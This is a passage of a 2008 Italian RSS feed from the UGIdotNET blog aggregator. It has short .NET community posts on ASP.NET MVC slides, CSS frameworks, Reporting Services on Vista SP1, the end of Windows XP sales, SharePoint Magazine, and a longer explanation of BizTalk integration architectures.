<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>Weblogs @ UGIdotNET</title><link>http://blogs.ugidotnet.org/MainFeed.aspx</link><description>wall dei blogger UGIdotNET</description><generator>Subtext Version 1.9.5.176</generator><item><title>Online le slide dell&amp;rsquo;evento DotNetMarche su ASP.NET MVC e Unit Testing</title><link>http://blogs.ugidotnet.org/piyo/archive/2008/07/04/online-le-slide-dellrsquoevento-dotnetmarche-su-asp.net-mvc-e-unit.aspx</link><pubDate>Fri, 04 Jul 2008 13:09:08 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/piyo/archive/2008/07/04/online-le-slide-dellrsquoevento-dotnetmarche-su-asp.net-mvc-e-unit.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/piyo/comments/93287.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/piyo/comments/commentRss/93287.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/piyo/archive/2008/07/04/online-le-slide-dellrsquoevento-dotnetmarche-su-asp.net-mvc-e-unit.aspx#comment</comments><slash:comments>1</slash:comments><trackback:ping>http://blogs.ugidotnet.org/piyo/services/trackbacks/93287.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/piyo/rss.aspx">Online le slide dell&amp;rsquo;evento DotNetMarche su ASP.NET MVC e Unit Testing</source><description>&lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Chi non è potuto venire &lt;a href="http://dotnetmarche.org/eventi/Default.aspx?IDevento=21"&gt;al workshop di settimana scorsa&lt;/a&gt;, o chi è venuto e vuole rivedere i &lt;a href="http://icanhascheezburger.com/" target="_blank"&gt;LOLCats&lt;/a&gt;, sono state rese disponibili le slide e &lt;a href="http://dotnetmarche.org/files/folders/6_-_testing__aspnet_mvc_27062008/entry3807.aspx" target="_blank"&gt;il codice degli Hands-on Labs&lt;/a&gt;: &lt;a href="http://dotnetmarche.org/files/folders/6_-_testing__aspnet_mvc_27062008/default.aspx" target="_blank"&gt;6° - Testing &amp;amp; Asp.NET MVC&lt;/a&gt;.&lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:51b705e3-737f-481f-bc37-631c560ee905" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/aspnetmvc" rel="tag"&gt;aspnetmvc&lt;/a&gt;,&lt;a href="http://technorati.com/tags/dotnetmarche" rel="tag"&gt;dotnetmarche&lt;/a&gt;,&lt;a href="http://technorati.com/tags/workshop" rel="tag"&gt;workshop&lt;/a&gt;,&lt;a href="http://technorati.com/tags/presentazione" rel="tag"&gt;presentazione&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/piyo/aggbug/93287.aspx" width="1" height="1" /&gt;</description><dc:creator>Simone Chiaretta</dc:creator></item><item><title>CSS frameworks</title><link>http://blogs.ugidotnet.org/piyo/archive/2008/07/04/css-frameworks.aspx</link><pubDate>Fri, 04 Jul 2008 10:13:13 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/piyo/archive/2008/07/04/css-frameworks.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/piyo/comments/93286.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/piyo/comments/commentRss/93286.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/piyo/archive/2008/07/04/css-frameworks.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/piyo/services/trackbacks/93286.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/piyo/rss.aspx">CSS frameworks</source><description>&lt;p&gt;Anche nel campo “&lt;em&gt;creativo&lt;/em&gt;” del webdesign si sta iniziando a sentire la necessità di razionalizzare lo sviluppo e non reinventare sempre la ruota tutte le volte. &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Ma non tutti i webdesigner concordano sull’utilità questi framework: &lt;a href="http://tech.piyodesign.it/Default.aspx" rel="spouse"&gt;Daniela&lt;/a&gt; ne ha analizzati un paio nelle settimane scorse(&lt;a href="http://tech.piyodesign.it/archive/2008/05/14/Librerie-XHTMLCSS.aspx"&gt;Dreamweaver CS3&lt;/a&gt; e &lt;a href="http://tech.piyodesign.it/archive/2008/06/06/Librerie-XHTML-CSS-YUI.aspx"&gt;YUI&lt;/a&gt;) e ora tira le &lt;a href="http://tech.piyodesign.it/archive/2008/07/03/Librerie-XHTMLCSS-the-last-post.aspx"&gt;conclusioni sull’uso “reale” di questi framework CSS&lt;/a&gt;.&lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:4a3e7a59-fe7e-4af1-84fd-330fd025e254" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/CSS" rel="tag"&gt;CSS&lt;/a&gt;,&lt;a href="http://technorati.com/tags/webdesign" rel="tag"&gt;webdesign&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/piyo/aggbug/93286.aspx" width="1" height="1" /&gt;</description><dc:creator>Simone Chiaretta</dc:creator></item><item><title>Reporting Services 2005 e Windows Vista SP1</title><link>http://blogs.ugidotnet.org/dsenatore/archive/2008/07/04/93285.aspx</link><pubDate>Fri, 04 Jul 2008 09:50:57 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/dsenatore/archive/2008/07/04/93285.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/dsenatore/comments/93285.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/dsenatore/comments/commentRss/93285.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/dsenatore/archive/2008/07/04/93285.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/dsenatore/services/trackbacks/93285.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/dsenatore/rss.aspx">Reporting Services 2005 e Windows Vista SP1</source><description>&lt;p&gt;Se anche a voi, come al sottoscritto, dopo aver installato il Service Pack 1 di Windows Vista, i Reporting Services non funzionano più, ovvero non si riesce più a connettersi nè con il browser, nè con il SQL Server Management Studio, sappiate che seguendo &lt;a href="http://technet.microsoft.com/en-us/library/bb839480.aspx" target="_blank"&gt;queste indicazioni&lt;/a&gt; riuscirete a ripristinare le funzionalità.&lt;/p&gt;  &lt;p&gt;In pratica si tratta di riabilitare i permessi di &lt;strong&gt;Script&lt;/strong&gt; sugli Handlers HTTP relativi alla Virtual Directory ReportServer utilizzando la MMC di IIS.&lt;/p&gt;  &lt;p&gt;Nella pagina cercate il testo: &lt;strong&gt;Problem: Programmatically configuring a report server virtual directory&lt;/strong&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/dsenatore/aggbug/93285.aspx" width="1" height="1" /&gt;</description><dc:creator>Davide Senatore</dc:creator></item><item><title>Vita da Community</title><link>http://blogs.ugidotnet.org/odamiani/archive/2008/07/04/93284.aspx</link><pubDate>Fri, 04 Jul 2008 08:09:44 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/odamiani/archive/2008/07/04/93284.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/odamiani/comments/93284.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/odamiani/comments/commentRss/93284.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/odamiani/archive/2008/07/04/93284.aspx#comment</comments><slash:comments>7</slash:comments><trackback:ping>http://blogs.ugidotnet.org/odamiani/services/trackbacks/93284.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/odamiani/rss.aspx">Vita da Community</source><description>&lt;p&gt;Dopo poco più di un mese alle prese con dei lavori piuttosto pesanti (notate la mia "assenza" dal mondo Community per il mese di Giugno), ritorno finalmente in questi giorni a respirare a pieni polmoni un po' di aria pulita.&lt;/p&gt; &lt;p&gt;Perchè è questa la sensazione che mi da quando mi "immergo" nel mio &lt;a href="http://www.netvibes.com" target="_blank"&gt;NetVibes&lt;/a&gt; e leggo vari feed dai blog, newsgroup, user group, ecc, ecc...&lt;/p&gt; &lt;p&gt;Anche se ho sempre la sensazione che, più aggiungo &lt;em&gt;sorgenti&lt;/em&gt; e più mi sfuggono cose...&lt;/p&gt; &lt;p&gt;Forse non sono ancora così pronto a vivere tutta questo mondo &lt;em&gt;Information Oriented&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;Onde evitare, in futuro, assenze (o presenze :D) ingiustificate mi sono creato una serie di loghi che indicano un po' i miei stati "classici".&lt;/p&gt; &lt;p&gt;Per ora sono questi:&lt;/p&gt; &lt;p&gt; &lt;/p&gt;&lt;table style="border-right: 1px solid; border-top: 1px solid; border-left: 1px solid; border-bottom: 1px solid" border="1"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;th&gt; &lt;blockquote dir="ltr" style="margin-right: 0px"&gt; &lt;p&gt;Logo&lt;/p&gt;&lt;/blockquote&gt;&lt;/th&gt; &lt;th&gt;Stato&lt;/th&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.omardamiani.it/images/statuslogo/balancedlife_150.jpg" /&gt;&lt;/td&gt; &lt;td&gt; &lt;p style="padding-right: 3px; padding-left: 3px; padding-bottom: 3px; padding-top: 3px"&gt;Diviso equamente tra lavoro, community e altre attività&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.omardamiani.it/images/statuslogo/communityactivities_150.jpg" /&gt; &lt;/td&gt; &lt;td&gt; &lt;p style="padding-right: 3px; padding-left: 3px; padding-bottom: 3px; padding-top: 3px"&gt;Principalmente su attività di Community&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.omardamiani.it/images/statuslogo/drowningwork_150.jpg" /&gt; &lt;/td&gt; &lt;td&gt; &lt;p style="padding-right: 3px; padding-left: 3px; padding-bottom: 3px; padding-top: 3px"&gt;Letteralmente "sto annegando nel lavoro"&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.omardamiani.it/images/statuslogo/challengingjobs_150.jpg" /&gt; &lt;/td&gt; &lt;td&gt; &lt;p style="padding-right: 3px; padding-left: 3px; padding-bottom: 3px; padding-top: 3px"&gt;Preso dal lavoro, ma nel senso &lt;i&gt;edificante&lt;/i&gt; del termine. Evidentemente sto scoprendo (o sconfiggendo :D) qualcosa...&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.omardamiani.it/images/statuslogo/onholiday_150.jpg" /&gt; &lt;/td&gt; &lt;td&gt; &lt;p style="padding-right: 3px; padding-left: 3px; padding-bottom: 3px; padding-top: 3px"&gt;Si commenta da sola...&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;Nel caso mi serviranno altri loghi li produrrò man mano.&lt;/p&gt; &lt;p&gt;Lo stato corrente lo potete vedere direttamente sul mio blog, nella "&lt;em&gt;amenities bar&lt;/em&gt;".&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/odamiani/aggbug/93284.aspx" width="1" height="1" /&gt;</description><dc:creator>Omar Damiani</dc:creator></item><item><title>Fine di un "mito"?</title><link>http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/04/93283.aspx</link><pubDate>Fri, 04 Jul 2008 05:59:22 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/04/93283.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/PietroLibroBlog/comments/93283.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/PietroLibroBlog/comments/commentRss/93283.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/04/93283.aspx#comment</comments><slash:comments>3</slash:comments><trackback:ping>http://blogs.ugidotnet.org/PietroLibroBlog/services/trackbacks/93283.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/PietroLibroBlog/rss.aspx">Fine di un "mito"?</source><description>&lt;p&gt;Forse tutti lo sanno, tranne io, ma il 30 giugno 2008 Microsoft ha terminato la vendita di Microsoft Windows XP (anche se leggendo le risposte alle domande presenti in &lt;a target="_blank" href="http://www.microsoft.com/italy/windows/products/windowsxp/future.mspx"&gt;questo documento&lt;/a&gt;, per &lt;em&gt;System Builder &lt;/em&gt;il termine è fissato a gennaio 2009 mentre per la vendita di &lt;em&gt;Ultra-Low Cost PC &lt;/em&gt;giugno 2010). Il supporto rimane garantito fino al 2014. E' giunta "la fine" di un "mito"? Penso proprio di si.&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/PietroLibroBlog/aggbug/93283.aspx" width="1" height="1" /&gt;</description><dc:creator>Pietro Libro</dc:creator></item><item><title>Sharepoint Magazine</title><link>http://blogs.ugidotnet.org/lmauri/archive/2008/07/04/93279.aspx</link><pubDate>Thu, 03 Jul 2008 22:32:37 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/lmauri/archive/2008/07/04/93279.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/lmauri/comments/93279.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/lmauri/comments/commentRss/93279.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/lmauri/archive/2008/07/04/93279.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/lmauri/services/trackbacks/93279.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/lmauri/rss.aspx">Sharepoint Magazine</source><description>&lt;p&gt;&lt;a href="http://sharepointmagazine.net"&gt;Qui&lt;/a&gt; il sito, pronto per il lancio del 16 Luglio, di cui ho già sottoscritto il feed rss.&lt;/p&gt;  &lt;p&gt;E sono diventato anche un "fan" del magazine su FaceBook, come già tanti altri...&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;Direttamente dal blog originale, l'invito a far parte del magazine:&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;Want to be part of the magazine and shape its future? Follow us on the networks below:&lt;/p&gt;  &lt;p&gt;   &lt;/p&gt;&lt;table cellspacing="4" cellpadding="4" width="395" border="0"&gt;&lt;tbody&gt;       &lt;tr&gt;         &lt;td valign="top" width="69"&gt;&lt;a onclick="javascript:pageTracker._trackPageview('/outbound/article/feeds.feedburner.com');" href="http://feeds.feedburner.com/SharepointMagazine" target="_blank"&gt;&lt;img title="RSS" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="64" alt="RSS" src="http://sharepointmagazine.net/images/SharePointMagazineUpdates_CDA2/RSS.png" width="64" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;          &lt;td valign="top" width="313"&gt;Our main feed. In the future we will have separate feeds for different sections of the site, but this feed will be for ALL content.&lt;/td&gt;       &lt;/tr&gt;        &lt;tr&gt;         &lt;td valign="top" width="69"&gt;&lt;a onclick="javascript:pageTracker._trackPageview('/outbound/article/www.facebook.com');" href="http://www.facebook.com/pages/SharePoint-Magazine/15238999348" target="_blank"&gt;&lt;img title="Facebook" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="64" alt="Facebook" src="http://sharepointmagazine.net/images/SharePointMagazineUpdates_CDA2/Facebook.png" width="64" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;          &lt;td valign="top" width="313"&gt;This is our FaceBook fan page. Become a fan and collaborate with other fans.&lt;/td&gt;       &lt;/tr&gt;        &lt;tr&gt;         &lt;td valign="top" width="69"&gt;&lt;a onclick="javascript:pageTracker._trackPageview('/outbound/article/www.linkedin.com');" href="http://www.linkedin.com/e/gis/134437/1EFD3430C513" target="_blank"&gt;&lt;img title="LinkedIn" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="64" alt="LinkedIn" src="http://sharepointmagazine.net/images/SharePointMagazineUpdates_CDA2/LinkedIn.png" width="64" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;          &lt;td valign="top" width="313"&gt;This is our LinkedIn group. Join the group and network with like minded professionals&lt;/td&gt;       &lt;/tr&gt;        &lt;tr&gt;         &lt;td valign="top" width="69"&gt;&lt;a onclick="javascript:pageTracker._trackPageview('/outbound/article/twitter.com');" href="http://twitter.com/sharepointmag" target="_blank"&gt;&lt;img title="Twitter" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="64" alt="Twitter" src="http://sharepointmagazine.net/images/SharePointMagazineUpdates_CDA2/Twitter.png" width="64" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;          &lt;td valign="top" width="313"&gt;Follow Magazine updates through Twitter.&lt;/td&gt;       &lt;/tr&gt;     &lt;/tbody&gt;&lt;/table&gt;   &lt;p&gt; &lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:c3e24d87-5cdd-40b6-a333-42ecaf502878" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;del.icio.us Tags: &lt;a href="http://del.icio.us/popular/Sharepoint" rel="tag"&gt;Sharepoint&lt;/a&gt;&lt;/div&gt;  &lt;p&gt;&lt;img height="1" src="http://feeds.feedburner.com/~r/SharepointMagazine/~4/325775813" width="1" /&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/lmauri/aggbug/93279.aspx" width="1" height="1" /&gt;</description><dc:creator>Luca Mauri</dc:creator></item><item><title>Parliamo di integrazione</title><link>http://blogs.ugidotnet.org/Biztalk/archive/2008/07/04/93278.aspx</link><pubDate>Thu, 03 Jul 2008 22:28:11 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/Biztalk/archive/2008/07/04/93278.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/Biztalk/comments/93278.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/Biztalk/comments/commentRss/93278.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/Biztalk/archive/2008/07/04/93278.aspx#comment</comments><slash:comments>4</slash:comments><trackback:ping>http://blogs.ugidotnet.org/Biztalk/services/trackbacks/93278.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/Biztalk/rss.aspx">Parliamo di integrazione</source><description>&lt;p&gt;Parlare di integrazione non è cosa semplice, è un argomento vastissimo e carico di sfaccettature, limitarlo ad una singola tecnologia sminuisce sicuramente la sua importanza.   &lt;br /&gt;Ad oggi è possibile utilizzare tantissime soluzioni diverse per integrare diversi sistemi, agnuno di loro ha i suoi vantaggi e svantaggi.    &lt;br /&gt;    &lt;br /&gt;Microsoft presenta alternative quali Integration Service di SQL Server, Host Integration Server , BizTalk Adapter Pack, BizTalk, tutti molto diversi tra loro sia per architettura che per scopo.    &lt;br /&gt;Lo sappiamo tutti che è possibile fare qualsiasi cosa con ognuno di questi attori ma solo uno è migliore degli altri in una particolare soluzione.    &lt;br /&gt;Nell’ arco di quest’ anno parlerò tantissimo di integrazione e non mi limiterò solo a BizTalk, perchè ritengo che l’integrazione sia una filosofia e una scienza molto articolata.    &lt;br /&gt;    &lt;br /&gt;L’altra sera stavo sul balcone e ho iniziato a ragionare su tutto questo iniziando a fare tantissime considerazioni e domande a me stesso, da lì ho deciso di iniziare a scrivere perchè voglio tenere traccia delle mie ricerche.    &lt;br /&gt;Chiaramente da buon MVP sono felice di condividerle con tutti le mie considerazioni sperando possano essere di aiuto.    &lt;br /&gt;Una cosa che mi fa sorridere è che ad oggi quando si parla di integrazione sembra si debba parlare obbligatoriamente di BizTalk.    &lt;br /&gt;    &lt;br /&gt;Limitare BizTalk alla semplice integrazione tra sistemi è il segnale che identifica che non si è compreso esattamente cosa sia esattamente BizTalk.    &lt;br /&gt;Che dire..., partirei propio da questo.&lt;/p&gt;  &lt;p&gt;Ma che cosa è BizTalk?   &lt;br /&gt;    &lt;br /&gt;Direi che è la domanda principe, quella che solitamente mi sento fare per prima.    &lt;br /&gt;Credo che questa mancanza di vision non sia dovuta al fatto che manchi un sistema di informazione adeguato, ma alla natura stessa del prodotto, se di prodotto possiamo parlare.    &lt;br /&gt;BizTalk è un framework per l’integrazione e la gestione dei flussi tra diversi sistemi.    &lt;br /&gt;    &lt;br /&gt;Si, quando parlo di flussi intendo workflow, ma attenzione ne esistono due principli diversi tipi, human e system workflow.    &lt;br /&gt;BizTalk è sicuramente la soluzione numero uno proposta da Microsoft per creare system workflow, non direi lo stesso per quello che riguarda l’aspetto human workflow.    &lt;br /&gt;A tal proposito esistono diverse soluzioni, quali Sharepoint e chiaramente Workflow Foundation (WF), è scontato che se dobbiamo arrivare ad ottenere architetture che necessitano di processi di tipo human piuttosto che system, la soluzione ottimale può essere utilizzare MOSS + WF + BizTalk, futura vision Microsoft di nome OSLO.    &lt;br /&gt;    &lt;br /&gt;E gli adapter Pack?, ne parliamo un’ altra volta, ma sono certamente una validissima alternativa per integrare sistemi LOB.    &lt;br /&gt;Ok andiamo più sull’ amichevole e partiamo da zero, BizTalk è alla sua quinta versione, le versioni sono la 2000, 2002, 2004, 2006, 2006 R2, siamo in attesa della versione R3.    &lt;br /&gt;La versione 2004 rappresenta un vero salto epocale, infatti le architetture precedenti non hanno nulla a che vedere con essa, a tal proposito, infatti, non si può parlare nemmeno di migrazione dalla versione 2000 e 2002 ma di totale riscrittura e rivisitazione architetturale della soluzione.    &lt;br /&gt;A differenza di quello che si possa pensare BizTalk è molto diffuso ed utilizzato, chiaramente per correttezza non voglio fare nomi ma in Italia conta di oltre 180 installazioni delle quali 3 oltrepassano i 130 processori.    &lt;br /&gt;I diretti concorrenti coprono circa il 30% del mercato con tendenza a diminuire, quali sono i diretti concorrenti?, mmh ripeto non mi sembra corretto fare nomi.    &lt;br /&gt;La prima cosa che viene in mente pensando a BizTalk è ad un tool per integrare diversi flussi e che se serve ad eseguire trasformazioni, in sostanza viene paragonato ad un motore di ETL (Extract Transform Load), come Integration Service di SQL Server o T.... ops.    &lt;br /&gt;    &lt;br /&gt;Ritengo che sia questo il più grave errore, un errore che porta solitamente ad una ingenua sottovalutazione della tecnologia in questione e, di conseguenza, ai relativi lasagne projects.    &lt;br /&gt;BizTalk non è stato creato per eseguire semplice ETL, anche se potrebbe farlo, ma ripeto non è stato progettato per questo, se dovessi decidere cosa utilizzare per replicare e trasformare i dati tra due tabelle SQL di un milione di records uilizzerei sicuramente Integration Service di SQL Server o altre tecnologie ma non certamente BizTalk.    &lt;br /&gt;A questo punto, di solito, la curiosità inizia a crescere e la domanda sorge spontanea.    &lt;br /&gt;    &lt;br /&gt;Se non è un ETL, o perlomeno, non è tra i suoi targets primari, quali lo sono?    &lt;br /&gt;    &lt;br /&gt;BizTalk è fondamentalmente un HUB Messaging Router, questa sua particolarità lo rende unico nel suo genere.    &lt;br /&gt;Sostanzialmente BizTalk riceve messaggi, questi messaggi possono arrivare da sistemi diversi ma al suo interno sono sempre e comunque messaggi.    &lt;br /&gt;A cosa è dovuta questa particolarità, è dovuta a un layer esterno chiamato adapter che lui stesso espone.    &lt;br /&gt;BizTalk ha tantissimi adapters a disposizione, ognuno di loro è specializzato a parlare con un diverso tipo di sistema, la cosa importante è che a prescindere da quale sia il tipo di sistema o il tipo di protocollo, quando l’adapter riceve qualcosa lo deserializza in una forma BizTalk standard, che corrisponde al famoso messaggio, tecnicamente farlando è un XML Document contenente puro XML.    &lt;br /&gt;    &lt;br /&gt;BizTalk utilizza un pattern architetturale interno molto conosciuto che si chiama Publish/Subscriber.    &lt;br /&gt;Un volta entrato in BizTalk questo messaggio può essere sottoscritto a diversi Subscribers, questi possono essere processi molto complessi o semplicemente porte di invio su altri sistemi.    &lt;br /&gt;A differenza di quando si lavora su un classico ETL, nel quale esiste uno stretto legame tra un processo e l’altro, in BizTalk esiste solo la sottoscrizione e su questo si basa l’intero funzionamento.    &lt;br /&gt;    &lt;br /&gt;Un messaggio può essere sottoscritto con tantissime regole, basandosi sul valore di uno o più campi, sul fatto che arrivi da un determinato partner, dal fatto che sia un determinato tipo di messaggio e tanto altro ancora.    &lt;br /&gt;Sostanzialmente il messaggio viene pubblicato al suo interno ed uno o più Subscriber possono riceverlo, questi Subscribers possono essere processi, porte e altro.     &lt;br /&gt;In BizTalk non si può parlare di soluzioni chiuse perchè una soluzione è composta da vari tipi di messaggi e processi che possono essere estesi in qualsiasi momento.&lt;/p&gt;  &lt;p&gt;Per capire meglio prendiamo in esame alcune tipiche architetture nelle quali BizTalk può essere utilizzato.   &lt;br /&gt;Esistono vari tipi di possibili patterns sia architetturali che di sviluppo, è un discorso molto lungo, complicato e interessantissimo, a dire il vero è l’ argomento di un prossimo articolo.    &lt;br /&gt;Dovendo anticipare qualcosa e senza scendere nei particolari prendiamo le due più semplici e diffuse, HUB &amp;amp; Spoke e ESB.&lt;/p&gt;  &lt;p&gt;HUB &amp;amp; Spoke Fig 1&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;FIG 1   &lt;br /&gt;&lt;a href="http://www.solnuke.com/ugimages/Parliamodiintegrazione_467/Fig1.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="424" alt="Fig1" src="http://www.solnuke.com/ugimages/Parliamodiintegrazione_467/Fig1_thumb.jpg" width="564" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;In questo caso abbiamo i vari BizTalk dislocati sulle varie agenzie o reparti aziendali (SPOKES) e uno centralizzato (HUB)   &lt;br /&gt;I vari BizTalk decentralizzati si occupano di integrare le varie tecnologie in periferia e quello centrale “orchestra” i vari messaggi che arrivano dalle sedi.    &lt;br /&gt;In questo tipo di soluzione gli stessi BizTalk decentralizzati fungono da Subscribers, internamente all’ HUB centrale è possibile rappresentare i vari attori come “Partners” e creare politiche di smistamento dei messaggi e di comunicazione assolutamente uniche nel suo genere ma anche questo sarà argomento a parte di un futuro articolo.    &lt;br /&gt;La natura stessa di BizTalk porta a creare queste architetture in modo naturale.    &lt;br /&gt;ESB Fig 2&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;FIG 2&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.solnuke.com/ugimages/Parliamodiintegrazione_467/Fig2.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="428" alt="Fig2" src="http://www.solnuke.com/ugimages/Parliamodiintegrazione_467/Fig2_thumb.jpg" width="570" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Enterprise Service BUS, questa è tra le più frequenti, a differenza della precedente sono le varie tecnologie ad essere interfacciate direttamente a BizTalk, ad essere sincero il concetto di ESB è molto più complicato e include concetti molto profondi , standard di interfaccia, di comunicazione, ma adesso quello che desidero è essere semplicemente chiaro.&lt;/p&gt;  &lt;p&gt;Nell’ esempio in figura abbiamo un database SQL Server un SAP, un sistema AS/400 e un database Oracle.   &lt;br /&gt;Il compito di BizTalk può essere molteplice, dal permettere ai vari sistemi di interscambiarsi le informazioni al gestire un processo di workflow o di business prelevando o ricevendo le informazioni necessarie dai vari attori e nel caso utilizzarle congiuntamente per poi smistarle (Sottoscriverle).    &lt;br /&gt;Solitamente è una soluzione interna all’ azienda ed il focus è ottenere un layer assolutamente standard per comunicare con tutte le diverse tecnologie, certo, un layer assolutamente standard quali dei servizi Web come Web Services o WCF (Fig 3) &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;FIG 3   &lt;br /&gt;&lt;a href="http://www.solnuke.com/ugimages/Parliamodiintegrazione_467/fig3.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="435" alt="fig3" src="http://www.solnuke.com/ugimages/Parliamodiintegrazione_467/fig3_thumb.jpg" width="578" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;Questo discorso / percorso intrapreso mi porta a fare tantissime considerazioni, saranno sicuramente stimoli per prossimi articoli...   &lt;br /&gt;    &lt;br /&gt;Vi prego di contattarmi e scrivere per eventuali considerazioni, che potranno sicuramente arricchire e stimolare a nuove discussioni.    &lt;br /&gt;    &lt;br /&gt;Quanto mi diverte l' integrazione! &lt;img alt="smile_regular" src="http://spaces.live.com/rte/emoticons/smile_regular.gif" /&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/Biztalk/aggbug/93278.aspx" width="1" height="1" /&gt;</description><dc:creator>Nino Crudele</dc:creator></item><item><title>MVP Award Update!</title><link>http://blogs.ugidotnet.org/Biztalk/archive/2008/07/03/93277.aspx</link><pubDate>Thu, 03 Jul 2008 17:03:59 GMT</pubDate><guid 